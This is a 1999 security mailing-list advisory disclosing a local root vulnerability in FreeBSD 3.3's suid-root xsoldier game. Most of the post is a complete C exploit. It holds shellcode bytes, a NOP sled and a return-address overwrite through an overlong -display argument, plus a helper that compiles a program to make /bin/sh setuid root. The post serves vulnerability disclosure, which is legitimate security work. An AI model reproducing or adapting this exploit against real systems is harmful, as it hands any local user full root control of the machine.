Date: Wed, 15 Dec 1999 17:11:36 MST
From: Brock Tellier <btellier@USA.NET.>
To: [email protected]Subject: FreeBSD 3.3 xsoldier root exploit
Greetings,
OVERVIEW
A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root
access. This user does not have to have a valid $DISPLAY to exploit this.
BACKGROUND
Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was
installed as part of the X11 games packages via /stand/sysinstall.
DETAILS
More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root
game. A simple overflow in the -display option allows any user to gain root.
Although xsoldier only runs under X, a long -display arg on the CL will allow
us to gain root.
--- xsoldierx.c ---
/*
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier [email protected]
*/
#include <stdio.h>
char shell[]= /* [email protected] */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";
#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"
void buildui() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/ui.c", "w");
fprintf(fp, CODE);
fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
system(cc);
}
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();
if (argv[1]) {
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net.>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);
for ( x = 0; x < 4325; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[bsize]='\0';
execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);
}
-------
Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
[email protected]
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